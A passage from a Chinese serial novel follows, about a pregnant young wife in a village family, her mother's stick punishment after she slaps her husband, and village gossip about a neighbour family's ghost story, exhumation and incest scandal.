余阿娘听着虎丫的话,一时间自己也觉得没脸,虽说是自己的闺女,可这实在是过分。 在家里怎么欺负小游就算了,怎么能往脸上招呼,小游还是个老师,这让他还怎么出门,怎么见人。 越想越生气,余阿娘再看余银没一点歉意,她脸直接冷下来,历声道:“哪只手打得小游。” 余银拿筷子的手顿了一下,打人的时候一点都不心虚,这时候被余阿娘发问,突然虚得不行。 余阿娘见她隐隐要藏起来的手,对余庆道:“去拿根竹竿过来,拿粗的来。” 余庆不敢动,余阿娘瞪了他一眼,“让你去就赶紧去拿过去。” 余阿娘说完,一把拉住余银的手,对着她的掌心就是一巴掌,她手劲大,打的余银直接痛呼一声。 她接着道:“余银,这些天小游怎么对你,大家都看在眼里,你太蹬鼻子上脸了。” 余银被她打的接着红了眼,哽咽道:“娘,你打我?” 余阿娘看都不看余银一眼,直接冷眼看着要护着余银 的游雾州,“她不懂事你也跟着不懂事,打别的地方就算了,朝你脸上打你也不知道躲?你明天还去不去学校了?” 游雾州不敢说话,余银打了就打了,要是他躲了,要更生气。 而且,其实这会儿也都不疼了,但被余阿娘这么一说,脸上突然火辣辣地疼。 余庆也拿着棍子过来了,余阿娘拿过棍子就要朝余银手上再打过去,谁知懂游雾州胳膊直接挡上去了。 余阿娘气极,“小游过去。” 游雾州哪里敢过去,这棍子打他身上都疼,要是再打到余银手上,那还得了。 余阿娘见他不过去,扭头喊道:“青云,拉他过去。” 余阿舅很听他姐的话,也害怕真拉过去,余银免不了一顿揍,更何况还懷着孕呢。 他劝道:“小鱼儿还懷着孕呢,咱悠着点姐。” “就是她仗着怀孕了,无法无天都。”余阿娘气笑了,“一个二个因为她怀孕了,捧着让着,看看她都成什么样子了,今天就敢这么对小游,他是个人,是个活生生的人,还是他男人,不要面子的吗。” “余银,你问问他,他爹娘这样揍过他没,让你朝他脸呼,这也就是他家人不在身边,你这是欺负他家里没人呢。” 余阿娘真觉得余银怀个孕,把脑子怀没了,她是怀孕了,不是成神仙了,平时对游雾州过分点就算了,这也太过分了。 简直就是不把他当人看,游雾州现在因着他怀孕不计较,那以后呢,心里难免不会有一点不舒服。 她今必须当这个恶人,把游雾州还没有察觉到的不舒服给发泄出来。 余阿娘又叫了一声,“青云,给他拉开。” 余银见她娘是来真的,另外一只手扯了扯游雾州的衣服,嗫嚅道:“别走,我害怕。” 游雾州朝她递了个安抚的眼神,手直接盖上余银被余阿娘拉着的手上。 余阿娘抬眼瞧着他俩,冷笑道:“小游,她这说到底也都是你惯的,但我这会儿是管教我女儿,你要是还当她是我女儿,你就让开。” 她这话意味深长,游雾州一时间不走也不是,走也不是。 余银真怕今天要挨揍,躲在游雾州身后,哭道:“娘,我錯了,我再也不打他了,真不打了。” 余阿娘不吃她这一套,冷声道:“認錯就要有认錯的态度,让小游过去,我打你两下就当过去了。” 余银都认错了,但还要挨两棍子,她咬着唇跟余阿娘商量,“不打成不成,我真错了。” “你这是认错的态度?”余阿娘反问她:“你打心眼里问问你自己,你真觉得自己错了吗,保不齐你这会心里想的就是,游雾州都没说啥,我为啥要揍你,管的真宽。” 她说的这话,还真是余银心里所想。 余阿娘厉声道:“左右你也不觉得你有错,打你两棍子,让你长长记性,不然下次记不住。” 余银怕死了,“娘,我真觉得错了,我再也不敢了。” “那你让小游过去。” “那你能不打我吗?” “先让小游过去。” 最后,余银还是挨了一棍子,在游雾州怀里哭的不行,饭都没吃。 游雾州心疼坏了,对她道:“下次你打别的地,别再让娘看到了就是。” 余银哭的一抽一抽的,“不打了,再也不打了,疼死了,我好疼啊。” 游雾州小心翼翼地吹着她手心,忍不住说:“娘也真是的,下这么重的手。” 这话要让余阿娘听到了肯定要忍不住难过,她这都是为了谁啊。 余银也很伤心,“我娘这是第一次揍我。”说到这,她就更伤心了,“我还没挨过揍,因为你挨了一顿,呜呜。” 她那会打游雾州脸,也是无意的,但游雾州都没生气。 余春花不爱她了。 余银抽噎道:“游雾州,我的性子真的无法无天吗,我真有娘嘴里说的那么过分吗?” 游雾州看着她湿漉漉眼睛,说着违心话,“没有,有点小脾气正常,娘小题大做了。” “我就知道,娘肯定是给哥找不来媳妇,看我不顺眼了。”余银肯定道。 “娘是不是不喜欢我了啊?”余银不禁问,“她今天打我好疼,还不让舅舅和你护着我,就要揍我。” 余阿舅也觉得她该被教训教训了,但又觉得余阿娘打的太狠了。 但余银不这么认为,游雾州都没说什么,而且她都认错了,她娘还是要打她。 游雾州安慰她:“对不起啊,都是我的错,要不你再打我两下。” 又补充道:“这次别打脸,你打脖子,脖子打着你手不疼,娘也看不到。” 余银轻哼一声,把红肿的手举到他眼前,可怜兮兮地,“我手都这样了,想打也打不了。” 游雾州给她吹着,“那等你好了再。” 余银白他一眼没说话,肚子却咕咕响着。 游雾州说道:“我去给你冲碗麦乳精。” “还要一大碗。” 游雾州穿着鞋子下床,去余银冲麦乳精,结果到厨房,就看到锅里放着的一碗热着泡好的麦乳精。 “打她也是活该,你也该打,但我也就是你丈母,不能对你动手。”余阿娘站在厨房门口,对游雾州道:“那一棍子是余银替你挨的,打在她身上,你也能有的受,两个人过日子不能有一方太过忍让,你俩要想长久地过下去,就不能这样。” 游雾州沉默,然后道:“她现在怀孕了。” 余阿娘没好气道:“怀孕了就怀孕了,但也不能太过分了,先前我不也没说什么。” “刚充好的,你晾晾再让她喝,就算怀孕了可以迁就,但还是那句话,想长久过下去,就不能这样。” 余阿娘扔下这句话就离开了。 游雾州其实还是没觉得余银有多过分,毕竟余银一天只有中午和晚上能闹闹他。 也都不是特别过分的事情,打完他,余银自己都有些懵。 游雾州知道她也不是有意的,就也没说什么,只是余阿娘为什么会说,要是他俩想长久的过下去,就不能这样。 他也没有特别迁就余银,有时候的余银也对他很好。 余银每次都会要一大碗麦乳精,但她喝不完,不是非要浪费,而是她知道麦乳精对身体好,要把那半碗找个理由让游雾州喝了。 他知道余银心疼自己,他也要理解余银。 游雾州端着那碗麦乳精回去,还是老样子,余银喝一半,剩下的游雾州喝了再把碗洗了。 天渐渐冷了,余银身上很热,每次都要让游雾州有点凉的脚放在自己脚上睡觉给他暖着。 就在快睡着的时候,余银轻声道:“游雾州,我好像控制不住情绪,这不像我了。” 游雾州都快要睡着了,听她这么说,把她往怀里搂了搂,说道:“怎么了,还在想着娘说的话吗?” 余银也觉得自己的情绪变化很奇怪,莫名其妙地生气,今天也还哭了好几次。 她没这么爱哭的,可就是心里会酸酸的,鼻子也酸酸。 这会儿也是,她又想掉眼泪了,“我有点不喜欢这样,娘都嫌我烦了。” 游雾州摸了摸她的脸,轻声道:“怎么会呢,你今晚喝的麦乳精,就是娘给你冲的,娘还是很喜欢你的。” “好讨厌啊游雾州。”余银小声道:“怀孕一点都不好,我都不像我自己了,你不觉得吗?你不烦吗?” 游雾州安慰她道:“没有,你只是会闹一下小情绪,但很快就好了。觉得怀孕不好,那咱们以后就要这一个,不怀孕了以后。” 他没听过怀孕能让变了个人,但余银确实变化很大,但不能跟她如实说,她想的太多了。 而且她现在看着很不开心,因为乱发情绪的原因。 余银打了个 哈欠,说道:“要是你能怀孕就好了,我想看看你怀孕是不是跟我一样,怎么小桃姐怀孕都好好的啊。” 游雾州失笑,男人怎么怀孕,他没听过,想象一下自己挺个肚子模样,不由得笑了一下。 “你笑什么?”余银奇怪。 游雾州低声道:“想到你说我怀孕的样子了,挺着大肚子。” “那你怀孕了不能像我一样对我。” “好,我怀孕了也像现在这样。” “游雾州你真笨,男人不会怀孕。” “……” 第77章 第77章让人恶心的事 母女之间没有隔夜仇,余阿娘和余银没过几天,就又和好了。 余银的预产期在明年四月底,余阿娘说她这个孩子懷和生的日子选择都挺好。 知道懷上的时候最热的时候也快过去了,中后期的时候又是最冷的时候,也不碍事,等到了生的时候,天也是正好的,坐完月子,天才热起来。 余银倒覺得其实也还好,她更想在早几个月生,因为坐月子的不能洗澡洗头,五月其实也挺热的,要是她一个月不洗澡洗头,那也太难受了。 余阿娘见她要出去,手里的针线活没停,悠悠道:“去老杨家呢?你今别去了,他们家大姐回来了,等明再说。” 余银听这话也就作罢,说道:“杨大姐嫁的是哪家啊?我好像一直没听小桃姐和杨二妹提过。” 她这几天因着和余阿娘生气,不想看到她,就一直在房间里呆着,连吃饭都是遊霧州给她端到房间里。 这和好了,当然要出去转转,不过听到杨家大姐回娘家,她也不太方便在那。 余阿娘拿起筐里的一小块布,对她说:“那大福家的先头嫁过一个你知道吧。” “知道啊,咋了。”余银左右看了看,正要把王桂香把放着筐的椅子腾出来坐下,王桂香就眼疾手快挪开,余银扶着腰坐下。 “她先头那家可比杨家要富得多,那底下不还有个小叔子,小桃家怕他们要回彩礼,三家一合计,让小桃嫁给杨大福,杨大家嫁给小桃原先那小叔子,嫁妆彩礼啥的也都不要了。”余阿娘解释道。 这事其实也常见,家里有兄弟姐妹的,不要彩礼嫁妆,两家说好,该咋配咋配,按理说吧,那李小桃都算是嫂子了,也不是黄花大闺女了,咋就把杨大姐那黄花大闺女给嫁过去了。 说到底也是那小叔子家里也有点,愿意给点彩礼,也没嫌弃杨大姐以后顾着娘家那弟弟妹妹。 余银以前不咋爱出门,也就不太知道杨大姐是因为这,所以李小桃才嫁了过来。 这事说出去也确实不太好听,没太声張倒也正常。 余银奇怪道:“那是杨大姐嫁得不愿意吗?” 要不然就是杨大姐回娘家了,余阿娘也不会特意说一句是因为她回来了,让余银别去。 余阿娘看了她一眼没说话,王桂香摇头,小声道:“不是不愿意,那男人对杨大姐可好,就是。” “就是啥?”余银把头凑近过去。 余阿娘四周看了看,低声道:“杨大姐嫁过去这么久,肚子一点都没动静,那李小桃一到杨家就懷上了,说明那家男的都不能生。” “不能生?可男的要不能生,杨大姐和小桃姐也没辦法啊。”余银不明白。 这事又不是女的努力就行了,男的不中用,那基本上就与孩子无缘了。 “誰知道到底能不能生。”余阿娘撇嘴道:“那家人非说李小桃生的孩子是那先头那男人的,现在要把孩子要走,给他们家留后,不然就不幹,那杨大姐就是这样回来的。” “不是。那小桃姐肚子里的孩子。怎么可能是先头那个人的。”余银实在不理解这怎么想的。 那李小桃怀孕是十个月,她嫁过来都一年多了,怎么算,都不可能是先头那人的。 余阿娘道:“那誰知道,就認这个死理了。” “说是他们家老太太做夢,夢见自己孙子说,李小桃生的孩子是他家重孙子,那老太太醒来之后就跟杨大姐的公爹交代,这事他们肯定也不信,那老太太就就非要见那重孙子,也就那几天,睁着眼死了,说是死不瞑目。” 余银吃惊:“这么邪乎?然后那就为了让老太太死的瞑目,要把小桃姐的孩子要走?” 这事太扯了,就因为一个夢,就認定了不可能是他们家的孩子,非认为是的。 余阿娘和王桂香就把他们知道的给余银解释了一番。 就是个夢而已,吴家本来也不信,再说了那那李小桃是嫁到杨家一年才有的孩子,怎么算都不可能是他们吴家的。 但事情偏偏就怪在这,吴老太死了后,那眼睛怎么也闭不上就算了,那她下葬那天后,吴爹就天天晚上做梦,梦到自己亲娘死不瞑目的样子,嘴里还嚷嚷着要重孙子,重孙子。 吴爹一开始只当是没报到孙子的原因,就让吴老二和杨大姐努努力,早日让他们抱孙子,也好让死去的吴老太安心。 可是慢慢的,吴爹还在做梦,并且梦里吴老太还说重孙子认别人当爹了,都改姓不姓吴了,这可不行啊。 吴爹被那梦折磨的不行,每天上工都没精神,找了人来看,就说完成她说的话就行了,这抱重孙哪是直接就行的,但也都让努力了,他就想着估计已经成了。吴爹就在梦里跟吴老太说,老二家的已经有了。谁知道吴老太根本不信,还说吴老二生不了孩子,重孙子在李小桃那。 那吴老爹就纳了闷了,咋就吴老二生不了,那杨大家可是去看过大夫的,说是一点问題都没有,怎么不能生。吴老太跟他说不是杨大姐的问題,就是吴老二问题,还把死去的吴老大也叫过来。 那吴老大也哭着说李小桃的孩子是他的,让他爹抱回来,不能让他的血脉问别人叫爹。 一个二个都这样说,吴爹不得不信,他先是带着吴老二去看,还真是不能生,这次啊,吴爹彻底信了,就把做梦的事跟吴老二和吴妈说了。 那俩人听了也覺得他是瞎说,但吴爹说,老二不能生的事,就是梦里吴老太说的。 但孩子的吴妈覺得扯,既然吴爹都说连死去老大都托梦了,她才信了。偏偏吴老二不愿意,那孩子是他媳妇大哥的孩子,要是真抱回来当他们吴家大哥的血脉,他和杨大姐以后还咋过日子。 他觉得他爹这梦不能信,俩人为这事在家里没少吵,最后杨大姐实在没辦法,只好回家把事跟家里说了,这几天正闹着呢。 也不怪闹腾,那大胖生下来多听话的孩子,就那吴老太死那几天,开始整天哭闹,把一个大胖小子都哭的瘦了大半。 孩子老哭不是个事,这杨家知道吴老太的事后,就开始搓快子,果然搓到那吴老太和吴老大,立着不走了。 这可把李小桃和她婆婆气坏了。 敢情这大胖老哭的原因在这呢。 余银听完唏嘘不已,她也知道大 胖哭那事,搓了几次筷子,都不是,没辦法,就去看了大夫,大夫开了点药,喝了睡着也就不哭了,但药又不能一直喝。 这也可算找到因了。 她问余阿娘:“那既然搓出来了,吴老太就赶不走吗,大胖瘦了好多都。” “筷子都砍断好几根,就那都还来呢。”王桂香咬着牙道。 这是真可惡,逮着孩子嚯嚯幹啥。 余阿娘没好气道:“也就是现在不让搞封建迷信那套,要我就趁着半夜,把那吴老太的棺材给撬开,再撒点童子尿,看她还敢作妖不。” 余银听完眼睛一亮,“娘,这样就能行?” 余阿娘斜了她一眼道:“你怀着孕,可不兴去啊,小遊也不兴去,再把脏東西带给你了,不让你去杨家,就是怕脏東西染上你。” “对对,这几天都不敢跟你说,要不是你今天要出去,怕你乱跑,才跟你说的,你这几天还是呆在家里好。”王桂香也叮嘱她道。 余银:“那也不能就这么让吴家的欺负他们啊,赵家来的时候,还是他们帮的咱们呢。” “你娘我能不记得?”余阿娘睨了她一眼,冷笑道:“你懂个啥,那撬人棺材板的事有几个人敢幹的,你跟小遊说是看那脏东西缠上你,还是他放任不管,你看他咋选。” 这问的肯定是废话,不涉及自身的时候,咋样都行。这要遊霧州去撬了,那吴老太转移目标到余银身上咋办,他还撬不撬,肯定不撬。 余银无奈道:“那阿舅不是大队长,总不能一点忙都不帮吧,这也说不过去啊。” “都要养家糊口,誰没有个爹妈兄弟姐妹,老婆孩子的,都怕连累自己人了。”王桂香接话道:“你阿舅说愿意出钱,只要能招来人,而且还要偷偷地找,这事叫人知道,你阿舅也吃不兜着走。” 余银心里有些不舒服,她也不愿意这事牵扯到自已家身上,可要是让她就看着一点都不管,心里其实也有点说不过去的。 她不禁问:“那撬了棺材板撒童子尿,就能没事了吗?” “有事没事试试不就知道了。”余阿娘道。 余银想了下,干脆直接道:“都怕牵连,那大福哥和小桃姐俩人干脆去撬得了,左右他们也是大胖的爹娘,也有这个资格,还是为了自己的孩子。” 她说这倒也是个办法,但也不是没人想过。 可主要那吴老太的墳,让吴老二给看着呢,说是因为他生不了,让他在墳前待着认错呢。 白天有人不能去,晚上阴气重,更不敢去了,但杨大福和李小桃毕竟是当爹娘的,也不能怕。 主要是,现在都避着杨家走,也生怕连累了自家。 余阿娘他们有这个想法也就说一说,不敢去杨家说的,主要也没人敢去啊- 余银其实心里还有个人选,那个人去最合适不过了。 但她当时没想起来,是在和游霧州说这事,说着说着,她突然想到的。 游霧州见她表情不对,“想到啥了?” 然后他就绷着脸,左右仔细盯着不知道看什么呢。 他冷着脸,从床边拿起根木枝,挥舞着,历声道:“别在这吓唬人,赶紧走啊。” 余银被他突然开口,还不知道是在跟誰说话的模样下一道,她空咽了下,“游雾州,你在跟谁说话啊?” 这有点吓人了啊,她坐在床上,紧紧抓着被子。 游雾州侧过头,声音放缓,“没谁,娘说要是有脏东西,就拿桃木枝说边挥着,把他们打走。” “你看到脏东西了?”余银摸上肚子,做出保护的姿势,她颤着声音问游雾州。 游雾州摇头,解释道:“我以为你刚愣神,是看到了,没有就行。” 余银听到他这样说,松了口气,说道:“你不是不信这个吗?再说你这当老师的本来就算是有问题,再封建迷信,你也想去挂牌子了?” 他也不给人个心理准备,突然这个样子,真是够吓她一跳的。 游雾州摸了摸鼻子,有些不自然地说道:“学校里也都在传这事,而且你又怀孕了,他们说孕妇小孩都那啥。” 一开始他也没当回事,去学校后,还是林老师给他一截桃枝,说是他们家有棵被雷打过的桃树,上面树枝对付这些脏东西最有用了。 他带回家后也没说就一直放在床边,后来余阿娘也给了他一根,但听说他那是雷劈过的,就让他放在余银睡的床边,余阿娘那根在他们屋门口挂着。 余银不敢相信地看了他两眼,“你啥时候拿回来的,我咋不知道?” 游雾州微微挑眉,“林老师和吴家的大女儿家是邻居,一听说李小桃嫁的是杨柳村,第二天就带了这桃枝给我,有快一个月多了。” “还有吗?给小桃姐家也送一根吧。”余银想都没想就張口了。 但说完她就顿住了,游雾州垂眼看着她,说道:“扔他家里,不也没接触。” 余银忍不住道:“谁去扔?现在谁敢靠近杨家。” 杨家隔壁那两家,晚上的时候还来找余阿舅说这事,想换地方住了都,挨着杨家实在晦气。 游雾州问她:“让吴家老二去,让他去给杨大姐,这几天他不是经常过来找杨大姐吗。” 余银眨了眨眼,对他招手,“你过来,我跟你说。” 游雾州把头凑过去,听了余银说的,笑了起来,“我也正打算去跟他说呢,这个不是个事啊,弄的人心惶惶,你还不能出去,肯定都憋坏了。” “也不知道他会不会同意。”余银有些苦恼地说。 毕竟让吴老二把他奶奶的坟给扒了,棺材撬开,这带是多大不孝的事啊。 而且还要白天挖,晚上人们害怕不敢看。 也让人们都知道,哪来的鬼,就算有鬼,人也能不怕。 更何况,封建迷信属于四旧思想。不想流传的。 这事也该有个结果的。 再说了,那大夫光把把脉,就说他生不了,游雾州是觉得他还不如去检查检查,看看那里的问题吧能不能根治了。 哪都挺正常的男人,怎么会治不好呢。 俩人一合计,等明天游雾州中午下课回来的时候,去找一趟吴家老二,跟他说说- 事也办的挺快,游雾州和余银刚商量完没几天。 余银正在院子里晒着太阳,把旧衣服扯下来给肚子里孩子做尿布,就见王桂香拉着虎丫,余阿娘身边跟着余庆急匆匆地往家走。 “乖乖啊,你是不知道啊,那吴家老二可真厉害啊。”余阿娘咂舌道:“他奶奶尸骨都未寒呢,坟也扒了,棺材也撬了,还把他奶给拉去火烧了。” “是火葬吧,烧成骨灰埋。”余银放下手里的布说道:“现在都不让土葬,都是烧了埋的,都让烧成骨灰的,他吴家也是顶风作案,那吴老二还是救了他家呢。” 这是游雾州跟她说的,现在每个地方都在严格执行,不让把人装棺材里埋,都带拉去火化了,烧成骨灰带走埋。 不过他们这,只要你不声張,你说你里面放的是骨灰还是尸体,那也只有谁放的谁知道。 大队里也不可能把你家棺材撬开看看的。 这也是劝吴老二撬棺材的一个理由。 “理是理,情是情的,不一样啊。”余阿娘接着道:“吴老二还跟他爹娘在坟上大闹一场,乖乖的,吴家那可是天大的热闹啊,那吴老大跟吴老二关系可真複杂啊。” “等一下。”余银一听複杂,慢慢起身就去捂着虎丫的耳朵,才对她娘说道:“好了,你说吧。” 余阿娘沉默了一瞬,扯过她旁边的余庆,也捂着他的耳朵,才接着道:“那吴老大是吴爹跟吴老太生的孩子,那吴老二是吴妈跟死去那吴老爹生的,难怪当初非让李小桃跟吴老二一家呢,好家伙,他家是夫妻俩在一块就生不了,非 带找个亲的人来生。” 余银听的张大了嘴巴,“这,这真的啊?还是你们听的热闹里说的。” 王桂香点头,认真道:“真真的,这还是吴妈自己亲口说的,当初让吴老太生了老大就算了,后面还让吴妈跟自己公爹,才有的吴老二,难怪吴家老大老二都生不了,这是根上就不积德,尽干丢人现眼的事。” “那吴家的老大和老二,是不是应该叫吴爹哥啊,他们这应该咋叫啊。”余阿娘问王桂香。 王桂香一脸复杂,她也说不出来。 余银想了一下那关系,还真是够乱的,这叫哥,叫爹的都不对啊。 余阿娘朝地上吐了口唾沫,说道:“你说这叫啥事啊老的老的都不当个人,小的也不当人,也亏的那吴老二有点良心,不愿意跟自己嫂子过日子。” “这叫啥,歹竹出好笋,那也就吴老二是个正常的。”王桂香摇头道。 余银记得吴老二还有个姐姐的,她不是明白的说着,“他们上头不还有个姐姐,那姐姐是咋来的,都生了姐姐,咋就觉得生不出来,还要那样做啊。” “哪就一个姐,是三个姐。”余阿娘伸出手比着三,张口道:“那三个姐姐,那吴爹还有俩兄弟呢,他们家的也是这样来的,那一家子,孩子具体的亲爹娘,都不知道是谁的。” “更惡心的我都不意思说,真是让人想不到啊。”余阿娘想到就一阵惡寒,她打了个寒颤,撇着嘴。 王桂香碰了碰她胳膊,朝着余银微凸的肚子抬了抬下巴,“还怀着呢,这一支没反应的,可别你这一说,给惡心出反应来了。” 余阿娘忙点头,“对对对,不说了。” 这到底啥恶心事,让余银听的心里痒痒的。 她扯了扯嘴角,“啥事啊到底。” “不说,不说。”余阿娘摆手道。 “那你非要开这个头,勾的人心里难受死了。”余银忍不住埋冤着。 一开始不说就算了,非要说有这么个恶心的事。 谁好奇心被勾起来了,辛苦不着急难受啊。 余阿娘扭头看向王桂香,“说不,她这不听了,心里指不定怎么难受,再说她出门一打听,也有人跟她说呢。” 王桂香无奈地点了下头,“说吧,说吧。”她刚说完,就叮嘱道:“把虎丫和余庆耳朵捂严实点,这他俩可听不了。” 余庆和虎丫本来都被捂着耳朵不让听,只能看到他们张大的嘴巴,瞪圆的眼睛,还有那摇着头复杂的神情。 心里也都好奇极了,这时候,突然捂着他们的耳朵更紧了,惹得更是好奇。 虎丫不敢动,怕碰到余银肚子,余庆这是余阿娘,他也不敢,只好乖乖的站在那被捂着耳朵。 余银捂紧虎丫的耳朵,对着余阿娘张了张口,用口型道:“快说吧。” 余阿娘把头往前伸伸,极小声地说道:“那吴老二在坟上听到他爹娘说的,然后说他小时候还以为是在做梦,看到过他爹娘,还有大伯大伯娘,二伯二伯娘六个人光着身子在那玩呢,现在想起来,原来还干过这么恶心人的事啊。” 余银听完,果然觉得恶心的不行,弯着干呕了好几下,一阵反胃。 “老天爷啊,这是,这是真不怕天打雷劈啊,咋能做出这样的不顾伦理的事来。”余银脸色一阵复杂。 她本以为生的孩子父母都各有其人就算了,怎么还大伯二伯们一起呢。 这,这也真的听都没听说过。 余阿娘轻拍着她的背道:“听了也了污了耳朵,我都不想说给你听,就怕你这个反应。” 王桂香让虎丫和余庆赶紧进屋去,怕他俩不进去,让他俩可以待会一人一碗麦乳精喝。 余庆和虎丫才进屋去了。 余银吐也吐不出来,她慢慢直起身子,拍了拍胸口顺气:“你说他们的孩子知道怎么办,这事闹的肯定不小,还有那嫁人的,婆家该咋想啊。” 他们外人都觉得这么恶心,那吴家的兄弟姐妹们岂不是心里更觉得恶心,他们那些成家的,家里人心里…… 王桂香恶心的要死,忍不住道:“真是一群只顾自己,做些恶心人的事,不管孩子什么感受的……” 第78章 第78章要生了 这事到最后,已经跟李小桃和大胖没什么关系了。 李小桃自己也恶心坏了,不过大胖自从那吴老太火化了,也就好了。 游雾州原本也不信这些,那桃枝也是因着太邪乎了,为着余银现在身体情况不一样。 这大胖小子他可是知道,喝药起的作用都不是很大,那吴老太一火化,就直接好了。 游雾州心里也渐渐开始不再不信了,他听学校的一个老一点老师,跟他说,小孩子刚出生的时候最容易招到脏东西了。 需要用小米压惊,但杨柳村这邊没有小米这东西。 他又花了点錢,拖林老师找他表哥,又讓他表哥托人再拖人,下来花了五十多,给他弄一斤小米。 林老师把小米给他的时候,还唏嘘道:“这可真的金子做的米。” 但就是金子也没这米贵。 游雾州笑了笑,他拿着这小米给余银的时候,也不知道余银是作何反应,有些忐忑的看着她 余银看着那小米,抿了抿唇,实在忍不住好笑,“游雾州。” 游雾州见她笑,心里更忐忑了,他喉結轻滚,“嗯?” 余银真诚地说道:“你有心了。” “我还以为你会说我傻。”游雾州摸了摸鼻子,有些不好意思地说着。 他自己也觉得挺傻的,林老师还劝他都是粮食,大米也行的,为啥非要着五十多塊的小米。 游雾州其实觉得,既然说的是小米,那应該就是小米更有用处点,最好不用其他的替代。 但余银不这么觉得,她拉着游雾州的手放在自己的肚子上,声音柔柔的:“愿愿,愿愿,你看你爹对你多好。” 那一斤小米花了五十多,余银虽然也心疼錢,但更多的是理解他的一番心意。 能讓一个什么都不信的人,除了桃枝后,还再拖人去买小米,这样的一番心意很可贵。 这样很好,就要这样重视她肚子里的孩子。 “感受到什么了嗎?”余银眨了眨眼,问他。 游雾州不敢使劲摸她肚子,放上去都不敢动,有些僵硬的问:“什么?” 余银把肚子朝他手心挺了挺,一本正经道:“愿愿说感受到她爹的心意了,她很开心,开心的想吃一个烤红薯,要皮烤的黑黑的那种。” 游雾州听了抬眼看着余银,“是愿愿想吃,还是她娘想吃啊。” 余银吃烤红薯,还不吃芯,要把红薯皮烧成黑碳塊一样,她只吃皮上带着一点点红薯的。 余银舔了舔唇角,眼睛亮晶晶的道:“都想吃了,你给我弄吧,我不想起来。” 这个时候被窝里很暖和舒服,床上还有小桌子,上面放着都是小零嘴。 游雾州也不想出被窝,尤其是余银身上暖和的很,热烘烘的,但他还是穿上衣服,慢腾腾地下床了。 “遵命,余银同志。”- 到过年的时候,余家不像其他人家那样忙,他们除了王桂香的娘家,就没有联系的人家了。 余家人也不多,买的东西也不多, 今年余金也依旧没回来,但可能因为余银怀孕了,寄了很多东西回来。 一些各种果幹啊,红枣,肉幹,还有一些票和錢,再有就是还给每个人都寄了一件羊毛毛衣,摸起来可软和了。 虎丫和余庆的有点大,但大了才好,能多穿几年,余银有两身,信上说,肚子里的孩子他也不知道該怎么买,就给余银买了两身毛衣。 余银那个开心呦,不止毛衣,她哥还给寄了两塊颜色很好看的布料,讓她生完孩子给自己做衣服,多的可以给小孩做。 就她自己独一份儿的。 她哥事事是先想着她,后才想着她肚子里孩子。 余银抱着毛衣和布料,撇嘴道:“就我哥惦记的是我,不是肚子里的孩子,还是我哥最疼我。” 游雾州听见这话心里不禁有些吃味,余阿娘就先忍不住張口道:“不是你哥今年不回来,你足足写了一页的信谴责他的时候,要不是给你寄这东西,你还能说得出这话。” “吃人手短,拿人嘴短啊娘。”余银不甘示弱回道:“哥都给买这么多东西,说他疼我咋了,不对啊。” 余银怀孕后,没事幹就去村子里乱晃,把她那張嘴练愈发厲害。 余阿娘被她堵的说不出话来,撇嘴道:“也就这几年知足吧,等你嫂子嫁过来可不兴这样了,到时候你哥给了才你的,不给不兴張口要。” 别到时候再因为多买东西,再闹起来了。 余银又不是不懂事,她点着头,“我知道,等哥给我娶来嫂子,我跟游雾州就搬出去住。” 余阿娘已经有看中的人家和姑娘了,就那家说过,余银結婚了住家里不太好。 这意思她也懂,但心里多少有点不舒服。 余银知道后,心里没有一点不舒服,当即就说搬出去就是。 游雾州也觉得没啥,他点头,“本来当时也因为来不及,又没地方蓋,正好过完年,阿舅给我们留意一下。” 余阿舅点了下头,“我过完年就给你们看个地方批了。” “这事还没跟你哥说,他不一定能愿意,咱们谁都别跟他说。”余阿娘叮嘱道。 余银了然道:“知道,就说是因为我要生孩子了,以后住家里不方便,正好有有空地,我们就去赶紧蓋房占住了。” 那嫂子家现在都对她住家里有意见,以后估计还有更多的事,余银也不想在家里生事,早点搬出去算了。 余阿娘一听她要生了,忍不住说道:“不行就等你生了之后再睡吧,你哥这还不知道能不能成呢。” 这在一块住着,等余银生了,虽说不伺候她坐月子,但也能搭把手帮个忙啥的。 余银不假思索道:“早搬了,他们这事才能早点订下,我哥都多大了,晚一天他都要打一天光棍。” “要不这样吧。”余阿舅也不想讓余银搬走,现在的空地都偏,游雾州去上班,就把余银一人留家里,出啥事咋个办。 他提议道:“把前院后院砌到墙隔开,留个门,这就算是两家了,他们也开个前门,这样也不用搬来搬去的,那家人应该也没什么说的。要是还不愿意,那撵完余银,估计下一个就是我这个舅舅了,这样的人家,不要也罢。” 余银结婚后,就没白吃白喝过,游雾州每个月都给他和余阿娘钱了,他自己幹活又勤快,还时不时买些东西给虎丫余庆。 当初蓋那间房,也没用家里一分钱。 都这样,也容不下余银,那估计也容不下他这个舅舅了。 “说什么呢青云。”余阿娘臉色有些不好,“谁敢撵你走,这个家要走也是我和余金走,这是你出钱蓋的,她们家要还是不满意,让余金自己盖去。” 她又补充道:“等过完年,就砌道墙留个门,这要不愿意,这人家我也不用再考虑了。” 余银对着游雾州撇了撇嘴,要是那嫂子真还不满意,要再撵她舅舅走,那她也别想进这个梦。 容不下她无所谓,这房子可是她阿舅盖的,还养着他们这一家,她舅母也一句话没说话,这还都不确定是不是她的嫂子呢,就先要把来余家的架子摆起来。 这还没过门,已经把所有人的印象都弄好的不太好- 过年前的余家不忙,过完年忙坏了,既然要砌道墙,立门户,游雾州干脆又盖了个厨房和厕所。 余银想着都要多盖了,再盖间房,等她生完和孩子住那屋里,不然晚上孩子闹起来,游雾州会睡不好。 游雾州不是很想分房住,但孩子以后大了就能自己住,他很心机地多盖了间房,但是没打床。 余银对此一无所知。 房子是余阿舅和游雾州俩人盖的,没找人来盖,这次的也不着急,慢慢盖着。 余银四月底生,房子也在四月中旬盖好了。 和余阿舅们中间那堵墙没封住,也没弄门,余阿舅说既然是他房子,那就他做主,都在一个院子,进出还要敲大门嗎? 但也就是因为没封这道门,其实也不是因为这道门。 和女方的亲事也掰了。 女方那邊听说余银彩礼是一百,想问余家要两百。 余阿娘倒也不是觉得两百块太多,只是他们出这么多彩礼,连个被子都不陪,洗臉盆茶缸茶壶被子那些陪嫁,都要他们再出一笔压筐钱。 钱到都不是问题,问题是把余家当冤大头呢。 说到余银彩礼一百块,还话里话外因为余银坏了余家名声,他们家以后可能也会受牵连。 那彩礼两百块是最少的,一切都要等两个孩子见面了再细谈。 余阿娘气够呛,当即就当着那家人面说:“我閨女坏啥名声了啊,谁家坏名声了彩礼还能给这么多,结婚了还舍不得她去上工的,怀孕了更是当爷伺候的。你们去哪家村里打听打听,看谁家敢收这么多彩礼,日子还能过的这么滋润,连个公婆都没有,也不用伺候的。” 